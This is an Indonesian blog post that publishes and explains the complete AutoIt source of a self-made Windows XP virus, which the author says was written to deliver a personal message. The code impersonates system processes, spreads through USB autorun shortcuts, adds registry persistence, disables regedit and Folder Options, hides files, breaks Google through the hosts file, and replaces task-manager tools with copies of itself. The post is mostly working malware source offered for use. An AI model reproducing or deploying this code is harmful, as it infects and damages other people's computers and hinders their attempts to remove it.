October 1, 2012

Virus sederhana dari AutoIt

Beberapa tahun yang lalu (sekitar 3 tahun mungkin) saya sempat membuat sebuah virus coba coba, virus ini belum saya publikasikan, saat virus ini saya buat 3 tahun lalu ,virus ini tidak dikenali oleh 50 antivirus terbaik dunia, sekarang ada perkembangan, virus ini sudah dikenali oleh 5 dari 50 antivirus terbaik dunia, di antaranya Kaspersky, dan Microsoft, untuk antivirus lokal saya kurang tahu.

Ketika anda melihat source code virus ini mungkin anda akan segera paham kenapa saya membuat virus ini :D, saya sudah men-sensor nama nama bersangkutan, ok ini dia source codenya, dahulu kala virus ini saya buat untuk Windows XP, jadi kemungkinan jika di jalankan di Win7 virus ini akan lumpuh, sekarang kita bahas source codenya.
Source Code:
Func _MenyampaikanPesan()
 FileDelete('C:\Windows\System32\Drivers\etc\Hosts')
  RunWait(@ComSpec & ' /c ' & 'echo 127.0.0.1 www.google.co.id >> "C:\Windows\System32\Drivers\etc\Hosts"', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.JANGAN HAPUS AKU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.AKU TETAP MENYAYANGIMU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.SELAMANYA."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.UNTUKMU **SENSOR**."', '', @SW_HIDE)
EndFunc   ;==>_MenyampaikanPesan
Virus ini saya buat untuk menyampaikan pesan, di desktop akan dibuat 4 buah folder dengan nama "JANGAN HAPUS AKU", "AKU TETAP MENYAYANGIMU", "SELAMANYA" dan "UNTUKMU **SENSOR**." sensor itu sebenarnya sebuah inisial nama yang tidak elok kiranya untuk dipublikasikan, dan tentu saja folder yang di maksud tidak akan bisa di hapus, kecuali menggunakan script atau tool tertentu, jikapun folder terhapus, maka si virus akan membuatnya lagi.

Source Code:
Dim $strFile[4] = ['lsass.exe', 'smss.exe', 'csrss.exe', 'services.exe']
Dim $intFile[4] = [101, 101, 101, 101]

Func _FileInstall()
 If Not FileExists(@WindowsDir & '\' & $strFile[0]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[0])
 FileSetAttrib(@WindowsDir & '\' & $strFile[0], '+HRS')
 $Proc0 = ProcessList($strFile[0])
 If $Proc0[0][0] < 2 Then $intFile[0] = Run(@WindowsDir & '\' & $strFile[0])

 If Not FileExists(@WindowsDir & '\' & $strFile[1]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[1])
 FileSetAttrib(@WindowsDir & '\' & $strFile[1], '+HRS')
 $Proc1 = ProcessList($strFile[1])
 If $Proc1[0][0] < 2 Then $intFile[1] = Run(@WindowsDir & '\' & $strFile[1])

 If Not FileExists(@WindowsDir & '\' & $strFile[2]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[2])
 FileSetAttrib(@WindowsDir & '\' & $strFile[2], '+HRS')
 $Proc2 = ProcessList($strFile[2])
 If $Proc2[0][0] < 2 Then $intFile[2] = Run(@WindowsDir & '\' & $strFile[2])

 If Not FileExists(@StartupDir & '\' & $strFile[3]) Then FileCopy(@ScriptFullPath, @StartupDir & '\' & $strFile[3])
 FileSetAttrib(@StartupDir & '\' & $strFile[3], '+HRS')
 $Proc3 = ProcessList($strFile[3])
 If $Proc3[0][0] < 2 Then $intFile[3] = Run(@StartupDir & '\' & $strFile[3])
EndFunc   ;==>_FileInstall
Virus ini cuma virus iseng saja, seperti yang kita lihat di atas, dia bekerja dengan cara manggandakan diri jadi 4 file antara lain, lsass.exe, smss.exe, csrss.exe, dan services.exe, semuanya berada di foler windows kecuali yang terakhir berada di startup dir.
Source Code:
Func _MemperbanyakDiri()
 ;;Memperbanyak diri
 $var = DriveGetDrive('removable')
 If Not @error Then
  For $i = 1 To $var[0]
   If $var[$i] <> 'a:' Then
    $ftemp = $var[$i] & '\autorun.inf\pkl.exe'
    FileCopy(@WindowsDir & '\' & $strFile[0], $ftemp, 9)
    FileSetAttrib($ftemp, '+HRS')
    $temp = _FileListToArray($var[$i], '*', 2)
    For $j = 1 To $temp[0]
     If Not FileExists($var[$i] & '\' & $temp[$j] & '.lnk') Then
      FileCreateShortcut($ftemp $var[$i] & '\' & $temp[$j], $var[$i] & '\' & $temp[$j] & '.lnk', '', '', 'File Folder', 'C:\WINDOWS\system32\shell32.dll', '', 4)
      FileSetAttrib($var[$i] & '\' & $temp[$j], '+HS')
     EndIf
    Next
   EndIf
  Next
 EndIf
EndFunc   ;==>_MemperbanyakDiri
Selain itu jika ada removable disk yang terhubung, maka ia akan menggandakan dirinya beserta mambuat shortcut yang mengarah kedirinya.
Source Code:
Func _MengubahRegistry()
  $REG0 = 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices'
  $REG1 = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
  $REG2 = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion'
  RegWrite($REG0, 'SYS0', 'REG_SZ', @WindowsDir & '\' & $strFile[0])
  RegWrite($REG1, 'SYS1', 'REG_SZ', @WindowsDir & '\' & $strFile[1])
  RegWrite($REG1, 'SYS2', 'REG_SZ', @WindowsDir & '\' & $strFile[2])
  RegWrite($REG2 & '\Explorer\Advanced', 'SuperHidden', 'REG_DWORD', '0')
  RegWrite($REG2 & '\Explorer\Advanced', 'ShowSuperHidden', 'REG_DWORD', '0')
  RegWrite($REG2 & '\Explorer\Advanced', 'HideFileExt', 'REG_DWORD', '1')
  RegWrite($REG2 & '\Explorer\Advanced', 'Hidden', 'REG_DWORD', '2')
  RegWrite($REG2 & '\Policies\Explorer', 'NoFolderOptions', 'REG_DWORD', '1')
  RegWrite($REG2 & '\Policies\system', 'DisableRegistryTools', 'REG_DWORD', '1')
  RegDelete('HKEY_CLASSES_ROOT\lnkfile\isShortcut')
EndFunc   ;==>_MengubahRegistry
Virus ini juga menginfeksi registry antara lain menghidden file system, mendisable regedit, disable folder option dan lain lain sama seperti virus pada umumnya.
Source Code:
Func _PertahananDiri()
 $PRC1 = WinGetProcess('task')
 If $PRC1 > 0 Then
  $Path = _ProcessGetLocation($PRC1)
  ProcessClose($PRC1)
  ProcessWaitClose($PRC1, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC2 = WinGetProcess('extended task')
 If $PRC2 > 0 Then
  $Path = _ProcessGetLocation($PRC2)
  ProcessClose($PRC2)
  ProcessWaitClose($PRC2, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC3 = WinGetProcess('process')
 If $PRC3 > 0 Then
  $Path = _ProcessGetLocation($PRC3)
  ProcessClose($PRC3)
  ProcessWaitClose($PRC3, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC4 = WinGetProcess('dtask')
 If $PRC4 > 0 Then
  $Path = _ProcessGetLocation($PRC4)
  ProcessClose($PRC4)
  ProcessWaitClose($PRC4, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC5 = WinGetProcess('system explorer')
 If $PRC5 > 0 Then
  $Path = _ProcessGetLocation($PRC5)
  ProcessClose($PRC5)
  ProcessWaitClose($PRC5, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf
EndFunc   ;==>_PertahananDiri
Virus ini saya buat dengan pertahanan diri unik, yakni jika ada file yang di anggap mengancam akan segera diclose dan filenya akan diganti dengan virus itu sendiri. Dan ini dia source code lengkapnya.
Source Code:
#NoTrayIcon

;**********************************************************************;
;**********************************************************************;
;***                                                                ***:
;***                    Dibuat Khusus Untuk ***                     ***;
;***                  (******** ****** **********)                  ***;
;***              Semoga Di Akherat Kita Bisa Bersama               ***;
;***                                                                ***:
;**********************************************************************;
;**********************************************************************;

Opt('WinTitleMatchMode', -1)

Dim $strFile[4] = ['lsass.exe', 'smss.exe', 'csrss.exe', 'services.exe']
Dim $intFile[4] = [101, 101, 101, 101]

Func _MenyampaikanPesan()
 FileDelete('C:\Windows\System32\Drivers\etc\Hosts')
 RunWait(@ComSpec & ' /c ' & 'echo 127.0.0.1 www.google.co.id >> "C:\Windows\System32\Drivers\etc\Hosts"', '', @SW_HIDE)
 RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.JANGAN HAPUS AKU."', '', @SW_HIDE)
 RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.AKU TETAP MENYAYANGIMU."', '', @SW_HIDE)
 RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.SELAMANYA."', '', @SW_HIDE)
 RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.UNTUKMU **SENSOR**."', '', @SW_HIDE)
EndFunc   ;==>_MenyampaikanPesan

Func _ProcessGetLocation($iPID)
 Local $aProc = DllCall('kernel32.dll', 'hwnd', 'OpenProcess', 'int', BitOR(0x0400, 0x0010), 'int', 0, 'int', $iPID)
 If $aProc[0] = 0 Then Return SetError(1, 0, '')
 Local $vStruct = DllStructCreate('int[1024]')
 DllCall('psapi.dll', 'int', 'EnumProcessModules', 'hwnd', $aProc[0], 'ptr', DllStructGetPtr($vStruct), 'int', DllStructGetSize($vStruct), 'int_ptr', 0)
 Local $aReturn = DllCall('psapi.dll', 'int', 'GetModuleFileNameEx', 'hwnd', $aProc[0], 'int', DllStructGetData($vStruct, 1), 'str', '', 'int', 2048)
 If StringLen($aReturn[3]) = 0 Then Return SetError(2, 0, '')
 Return $aReturn[3]
EndFunc   ;==>_ProcessGetLocation

Func _FileListToArray($sPath, $sFilter = "*", $iFlag = 0)
 Local $hSearch, $sFile, $sFileList, $sDelim = "|"
 $sPath = StringRegExpReplace($sPath, "[\\/]+\z", "") & "\"
 If Not FileExists($sPath) Then Return SetError(1, 1, "")
 If StringRegExp($sFilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
 If Not ($iFlag = 0 Or $iFlag = 1 Or $iFlag = 2) Then Return SetError(3, 3, "")
 $hSearch = FileFindFirstFile($sPath & $sFilter)
 If @error Then Return SetError(4, 4, "")
 While 1
  $sFile = FileFindNextFile($hSearch)
  If @error Then ExitLoop
  If ($iFlag + @extended = 2) Then ContinueLoop
  $sFileList &= $sDelim & $sFile
 WEnd
 FileClose($hSearch)
 If Not $sFileList Then Return SetError(4, 4, "")
 Return StringSplit(StringTrimLeft($sFileList, 1), "|")
EndFunc   ;==>_FileListToArray

Func _FileInstall()
 If Not FileExists(@WindowsDir & '\' & $strFile[0]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[0])
 FileSetAttrib(@WindowsDir & '\' & $strFile[0], '+HRS')
 $Proc0 = ProcessList($strFile[0])
 If $Proc0[0][0] < 2 Then $intFile[0] = Run(@WindowsDir & '\' & $strFile[0])

 If Not FileExists(@WindowsDir & '\' & $strFile[1]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[1])
 FileSetAttrib(@WindowsDir & '\' & $strFile[1], '+HRS')
 $Proc1 = ProcessList($strFile[1])
 If $Proc1[0][0] < 2 Then $intFile[1] = Run(@WindowsDir & '\' & $strFile[1])

 If Not FileExists(@WindowsDir & '\' & $strFile[2]) Then FileCopy(@ScriptFullPath, @WindowsDir & '\' & $strFile[2])
 FileSetAttrib(@WindowsDir & '\' & $strFile[2], '+HRS')
 $Proc2 = ProcessList($strFile[2])
 If $Proc2[0][0] < 2 Then $intFile[2] = Run(@WindowsDir & '\' & $strFile[2])

 If Not FileExists(@StartupDir & '\' & $strFile[3]) Then FileCopy(@ScriptFullPath, @StartupDir & '\' & $strFile[3])
 FileSetAttrib(@StartupDir & '\' & $strFile[3], '+HRS')
 $Proc3 = ProcessList($strFile[3])
 If $Proc3[0][0] < 2 Then $intFile[3] = Run(@StartupDir & '\' & $strFile[3])
EndFunc   ;==>_FileInstall

Func _MemperbanyakDiri()
 ;;Memperbanyak diri
 $var = DriveGetDrive('removable')
 If Not @error Then
  For $i = 1 To $var[0]
   If $var[$i] <> 'a:' Then
    $ftemp = $var[$i] & '\autorun.inf\pkl.exe'
    FileCopy(@WindowsDir & '\' & $strFile[0], $ftemp, 9)
    FileSetAttrib($ftemp, '+HRS')
    $temp = _FileListToArray($var[$i], '*', 2)
    For $j = 1 To $temp[0]
     If Not FileExists($var[$i] & '\' & $temp[$j] & '.lnk') Then
      FileCreateShortcut($ftemp $var[$i] & '\' & $temp[$j], $var[$i] & '\' & $temp[$j] & '.lnk', '', '', 'File Folder', 'C:\WINDOWS\system32\shell32.dll', '', 4)
      FileSetAttrib($var[$i] & '\' & $temp[$j], '+HS')
     EndIf
    Next
   EndIf
  Next
 EndIf
EndFunc   ;==>_MemperbanyakDiri

Func _MengubahRegistry()
 $REG0 = 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices'
 $REG1 = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
 $REG2 = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion'
 RegWrite($REG0, 'SYS0', 'REG_SZ', @WindowsDir & '\' & $strFile[0])
 RegWrite($REG1, 'SYS1', 'REG_SZ', @WindowsDir & '\' & $strFile[1])
 RegWrite($REG1, 'SYS2', 'REG_SZ', @WindowsDir & '\' & $strFile[2])
 RegWrite($REG2 & '\Explorer\Advanced', 'SuperHidden', 'REG_DWORD', '0')
 RegWrite($REG2 & '\Explorer\Advanced', 'ShowSuperHidden', 'REG_DWORD', '0')
 RegWrite($REG2 & '\Explorer\Advanced', 'HideFileExt', 'REG_DWORD', '1')
 RegWrite($REG2 & '\Explorer\Advanced', 'Hidden', 'REG_DWORD', '2')
 RegWrite($REG2 & '\Policies\Explorer', 'NoFolderOptions', 'REG_DWORD', '1')
 RegWrite($REG2 & '\Policies\system', 'DisableRegistryTools', 'REG_DWORD', '1')
 RegDelete('HKEY_CLASSES_ROOT\lnkfile\isShortcut')
EndFunc   ;==>_MengubahRegistry

Func _PertahananDiri()
 $PRC1 = WinGetProcess('task')
 If $PRC1 > 0 Then
  $Path = _ProcessGetLocation($PRC1)
  ProcessClose($PRC1)
  ProcessWaitClose($PRC1, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC2 = WinGetProcess('extended task')
 If $PRC2 > 0 Then
  $Path = _ProcessGetLocation($PRC2)
  ProcessClose($PRC2)
  ProcessWaitClose($PRC2, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC3 = WinGetProcess('process')
 If $PRC3 > 0 Then
  $Path = _ProcessGetLocation($PRC3)
  ProcessClose($PRC3)
  ProcessWaitClose($PRC3, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC4 = WinGetProcess('dtask')
 If $PRC4 > 0 Then
  $Path = _ProcessGetLocation($PRC4)
  ProcessClose($PRC4)
  ProcessWaitClose($PRC4, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf

 $PRC5 = WinGetProcess('system explorer')
 If $PRC5 > 0 Then
  $Path = _ProcessGetLocation($PRC5)
  ProcessClose($PRC5)
  ProcessWaitClose($PRC5, 2)
  FileCopy(@ScriptFullPath, $Path, 1)
 EndIf
EndFunc   ;==>_PertahananDiri

While 1
 _FileInstall()
 If ProcessExists($intFile[0]) And ProcessExists($intFile[1]) And ProcessExists($intFile[2]) And ProcessExists($intFile[3]) Then
  Sleep(1000)
 Else
  _PertahananDiri()
  _MengubahRegistry()
  _MemperbanyakDiri()
  _MenyampaikanPesan()
  Sleep(1000)
 EndIf
WEnd

No comments:

Post a Comment